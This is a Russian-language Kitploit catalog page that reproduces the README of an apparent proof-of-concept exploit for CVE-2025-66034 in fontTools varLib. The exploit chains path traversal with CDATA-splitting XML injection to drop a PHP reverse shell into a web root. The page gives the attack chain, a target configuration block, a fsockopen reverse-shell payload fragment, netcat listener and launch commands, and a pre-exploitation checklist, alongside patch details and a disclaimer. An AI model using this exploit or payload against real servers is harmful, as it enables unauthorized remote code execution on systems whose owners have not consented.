Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
POC-CVE-2025-66034 — Автоматизированный эксплойт для CVE-2025-66034, объединяющий обход пути и XML-инъекцию в fontTools varLib для достижения неавторизованного удаленного выполнения кода через загрузку специально сформированного файла .designspace. | Kitploit
Инструменты/GitHubGitHub/v3cn4x00/poc-cve-2025-66034
Генерация полезной нагрузкиАнализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийАнализ Бинарных ФайловОбучение и ОбразованиеИнструмент Удаленного Доступа
GitHubv3cn4x00/poc-cve-2025-66034

POC-CVE-2025-66034

Автоматизированный эксплойт для CVE-2025-66034, объединяющий обход пути и XML-инъекцию в fontTools varLib для достижения неавторизованного удаленного выполнения кода через загрузку специально сформированного файла .designspace.

45 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

font_varlib.py — CVE-2025-66034

fontTools varLib — Произвольная запись файла + XML-инъекция → Удаленное выполнение кода

CVE Component Class Language Deps License


Содержание

  • Обзор
  • Детали уязвимости
  • Цепочка атаки
  • Требования
  • Установка
  • Конфигурация
  • Использование
  • Как это работает
  • Уязвимый код
  • Контрольный список перед эксплуатацией
  • Протестировано на
  • Отказ от ответственности
  • Ссылки

Обзор

CVE-2025-66034 — это уязвимость в конвейере генерации вариативных шрифтов fontTools.varLib. Когда веб-приложение предоставляет доступ к этому конвейеру и принимает пользовательские файлы .designspace, две слабости объединяются для достижения неаутентифицированного удаленного выполнения кода.

font_varlib.py автоматизирует полную цепочку эксплуатации — генерацию шрифта, создание полезной нагрузки, загрузку и доставку обратного шелла.


Детали уязвимости

Цепочка слабостей


Цепочка атаки

root@kitploit:~
Злоумышленник создаёт вредоносный .designspace
            │
            ├── <variable-font filename="/var/www/html/files/shell.php">
            │        └── ОБХОД ПУТИ
            │            os.path.join(output_dir, absolute_path)
            │            → output_dir отбрасывается → запись в корень веб-сервера
            │
            └── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
                     └── XML-ИНЪЕКЦИЯ
                         Разделение CDATA внедряет сырой PHP
                         в двоичный файл выходного шрифта
            │
            ▼
    fontTools.varLib.main() обрабатывает файл на стороне сервера
            │
            ▼
    shell.php записывается в каталог, доступный через веб
            │
            ▼
    GET /files/shell.php → PHP выполняется → обратный вызов шелла
            │
            ▼
    RCE как www-data

Требования

Python: 3.9+

Зависимости:

root@kitploit:~
pip install fonttools requests

Система:

root@kitploit:~
nc (netcat) — требуется для автоматического режима прослушивания (--no-listen пропускает это)

Установка

root@kitploit:~
git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests

Конфигурация

Перед запуском откройте font_varlib.py и обновите блок конфигурации в начале файла в соответствии с вашей целью. Каждое значение имеет встроенный комментарий, объясняющий, что это такое и как найти правильное значение.

root@kitploit:~
# ══════════════════════════════════════════════════════════════════════════════
#  ЗНАЧЕНИЯ ПО УМОЛЧАНИЮ
#  Измените их в соответствии с вашей целью перед запуском.
#  Все значения также могут быть переопределены во время выполнения с помощью флагов CLI — см. --help.
# ══════════════════════════════════════════════════════════════════════════════

# Базовый URL хоста загрузки (сайт, который принимает .designspace)
UPLOAD_HOST      = "http://test.com"

# Путь на хосте загрузки, который обрабатывает multipart POST-запрос
# Подтвердите с помощью Burp — ищите POST после нажатия кнопки генерации
UPLOAD_ENDPOINT  = "/tools/variable-font-generator/process"

# Абсолютный путь файловой системы на сервере, куда записываются выходные файлы
# Должен быть доступен через веб, чтобы шелл можно было запустить по HTTP
WEBROOT          = "/var/www/test.com/public/files"

# Базовый URL для получения/запуска записанного файла шелла
# Соответствует WEBROOT на диске
SHELL_HOST       = "http://testing.test.com/files"

# Имена полей multipart формы — подтвердите с помощью Burp перед запуском
# Если загрузка молча завершается ошибкой (HTTP 200, но нет шелла), вероятно, неправильные имена полей
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS     = "masters"

# Префикс имени файла шелла — случайный суффикс добавляется во время выполнения
SHELL_PREFIX     = "f0nt_"

# Длина случайного суффикса — длиннее = сложнее угадать
SHELL_SUFFIX_LEN = 8

Совет: Перехватите легитимный запрос на загрузку в Burp Suite, чтобы подтвердить UPLOAD_ENDPOINT и точные имена multipart полей перед запуском. Несовпадение имен полей приводит к молчаливой ошибке — сервер возвращает HTTP 200, но шелл не записывается.


Использование

Базовый — автоматический слушатель nc

root@kitploit:~
python3 font_varlib.py --ip <IP_АТАКУЮЩЕГО> --port <ПОРТ>

Ручной слушатель — запустите nc самостоятельно

root@kitploit:~
# Терминал 1 — запустите слушатель
nc -lvnp 4444

# Терминал 2 — запустите эксплойт без автоматического слушателя
python3 font_varlib.py --ip <IP_АТАКУЮЩЕГО> --port 4444 --no-listen

Пользовательская цель — переопределите все значения по умолчанию во время выполнения

root@kitploit:~
python3 font_varlib.py \
  --ip 10.10.14.5 \
  --port 4444 \
  --upload http://target.htb/tools/variable-font-generator/process \
  --webroot /var/www/html/files \
  --shell http://target.htb/files

Полная справка по параметрам


Как это работает

Шаг 1 — Генерация шрифта

Программно генерируются два минимальных, но структурно корректных исходных файла .ttf с помощью fontTools.FontBuilder. Для обработки вариативного шрифта varLib требуется как минимум два мастер-эксцентриситета — эти файлы удовлетворяют этому требованию без необходимости наличия реальных файлов шрифтов на диске.

Шаг 2 — Создание полезной нагрузки

Создается вредоносный XML-файл .designspace, содержащий оба примитива атаки:

Примитив 1 — XML-инъекция через разделение CDATA:

root@kitploit:~
<labelname xml:lang="en">
  <![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>

Последовательность ]]]]><![CDATA[> завершает текущий блок CDATA и немедленно открывает новый. XML-парсер обрабатывает это как корректную разметку, но varLib сериализует содержимое дословно в выходной файл — внедряя сырой PHP в двоичный файл шрифта.

Примитив 2 — Обход пути через атрибут filename:

root@kitploit:~
<variable-font name="MaliciousFont" filename="/var/www/html/files/shell.php">

varLib строит выходной путь как:

root@kitploit:~
output_path = os.path.join(output_dir, filename)

Когда filename является абсолютным путем, os.path.join() в Python полностью отбрасывает output_dir. В затронутых версиях санитизация отсутствует.

Шаг 3 — Загрузка

Файл .designspace и оба файла .ttf отправляются как multipart POST на конечную точку генерации шрифта цели, используя имена полей, подтвержденные в Burp.

Шаг 4 — Триггер

HTTP GET к записанному .php файлу выполняет обратный шелл, который подключается обратно к слушателю nc атакующего через fsockopen + proc_open — на цели не требуется curl, wget или Python.


Уязвимый код

fontTools/varLib/__init__.py (затронутые версии):

root@kitploit:~
filename = vf.filename                             # контролируется атакующим, не санитизировано
output_path = os.path.join(output_dir, filename)  # обход пути через абсолютный путь
vf.save(output_path)                              # произвольная запись файла

Патч в 4.60.2 — применяет os.path.basename() к filename перед построением output_path, удаляя все последовательности обхода пути.


Контрольный список перед эксплуатацией

Перед запуском убедитесь, что выполнены все следующие условия:

root@kitploit:~
[ ] Версия fonttools на цели >= 4.33.0 и < 4.60.2
[ ] Цель принимает загрузку файлов .designspace + .ttf
[ ] Бэкенд вызывает fontTools.varLib.main() для загруженного .designspace
[ ] Имена полей формы загрузки подтверждены с помощью Burp (designspace + masters)
[ ] WEBROOT доступен через веб извне
[ ] WEBROOT доступен для записи веб-процессом (www-data или эквивалент)
[ ] SHELL_HOST (--shell) достижим с вашей машины
[ ] Имя хоста цели указано в /etc/hosts

Протестировано на

ОкружениеВерсия fonttoolsРезультат
Ubuntu 22.04 / Python 3.114.59.0✓ Подтверждено

Отказ от ответственности

Этот инструмент предоставляется только для образовательных и авторизованных целей безопасности.

Не используйте его против любой системы, которой вы не владеете или на тестирование которой у вас нет явного письменного разрешения. Автор не несет ответственности за неправомерное использование или любой ущерб, причиненный этим программным обеспечением.


Ссылки

Скачать инструмент
ПолеЗначение
CVE IDCVE-2025-66034
GHSAGHSA-768j-98cg-p3fv
Пакетfonttools (pip)
Затрагиваемый диапазон>= 4.33.0, < 4.60.2
Исправлено в4.60.2
СерьезностьУмеренная (CVSS 6.3)
Вектор атакиЛокальный (требуется загрузка файла на цель)
Требуемые привилегииОтсутствуют
Взаимодействие с пользователемТребуется (триггер загрузки)
#ПримитивCWEОсновная причина
1Обход путиCWE-22Атрибут filename в .designspace передается напрямую в os.path.join() без санитизации — абсолютные пути полностью отбрасывают целевой выходной каталог
2XML-инъекцияCWE-91CDATA-секции <labelname> позволяют использовать разделительную последовательность (]]]]><![CDATA[>) для протаскивания сырого PHP мимо XML-парсера в записываемый выходной файл
АргументОбязателенПо умолчаниюОписание
--ip✓—IP слушателя атакующего
--port✓—Порт слушателя атакующего
--uploadUPLOAD_HOST + UPLOAD_ENDPOINTКонечная точка загрузки (POST)
--webrootWEBROOTПуть записи на серверной файловой системе (должен быть доступен через веб)
--shellSHELL_HOSTБазовый URL для запуска записанного шелла
--no-listenfalseПропустить автоматический слушатель nc — только триггер
РесурсСсылка
NVD — CVE-2025-66034https://nvd.nist.gov/vuln/detail/CVE-2025-66034
Рекомендация fontTools по безопасностиhttps://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv
Коммит с исправлением — a696d5bhttps://github.com/fonttools/fonttools/commit/a696d5ba93270d5954f98e7cab5ddca8a02c1e32
Проект fontToolshttps://github.com/fonttools/fonttools